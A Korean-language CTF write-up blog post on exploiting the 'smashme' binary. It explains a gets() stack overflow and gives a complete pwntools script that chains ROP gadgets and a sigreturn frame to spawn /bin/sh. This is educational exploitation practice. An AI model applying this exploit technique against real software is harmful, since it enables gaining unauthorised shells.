보호기법은 aslr외엔 없다.

헥스레이해보면 gets로 bof가 터지는 것을 알 수 있다.


그리고 gets한 변수의 첫 부분에 "Smash me outside, how bout dAAAAAAAAAAA" 문자열이 들어가야 한다.

우선 haystack변수의 위치는 rbp-0x40이므로 rbp+0x8까지 72바이트의 차이가 나므로 72바이트 후 오버플로우 하면 ret를 조작할 수 있다.


근데 이 바이너리는 정적 컴파일이 되어 있고 system, execve함수와 같이 쉘을 실행시킬 수 있는 함수가 없다.


따라서 syscall을 해서 문제를 풀었다.


srop 페이로드는 잘 정리된 문서에 pwntool을 이용하여 간단하게 작성하는 법이 적혀있어서 참고했다.

문서
from pwn import *

r = process("./smashme")
elf = ELF("./smashme")

read = elf.symbols['read']
write = elf.symbols['write']
bss = elf.bss()
pop_rax = 0x4c3b28
pop_rdi = 0x4014d6
pop_rsi = 0x4015f7 
pop_rdx = 0x441e46
pop_rcx = 0x490db3
cmd = "/bin/sh\x00"
syscall = 0x466815 

log.info("bss = {}".format(hex(bss)))

payload = "Smash me outside, how bout dAAAAAAAAAAA"
payload += "A"*33

payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(bss)
payload += p64(pop_rdx)
payload += p64(4)
payload += p64(write)

payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(bss)
payload += p64(pop_rdx)
payload += p64(len(cmd))
payload += p64(read)

payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(bss)
payload += p64(pop_rdx)
payload += p64(len(cmd))
payload += p64(write)

payload += p64(pop_rax)
payload += p64(0xf)
payload += p64(syscall)

frame = SigreturnFrame(arch="amd64")
frame.rax = 0x3b
frame.rdi = bss 
frame.rsp = syscall
frame.rip = syscall

payload += str(frame)

print r.recv()
r.sendline(payload)
print r.recv()
r.sendline(cmd)
print r.recv()
r.interactive()

Ref.https://www.lazenca.net/display/TEC/02.SROP%28Sigreturn-oriented+programming%29+-+x64

'CTF' 카테고리의 다른 글

BCTF 2016 bcloud  (0) 2018.08.24
Defcon 2014 Babyfirst heap  (0) 2018.08.16
Plaid 2014 ezhp  (0) 2018.08.12
CodeGate2017 messenger  (0) 2018.08.07
RCTF 2015 welpwn  (0) 2018.08.01

+ Recent posts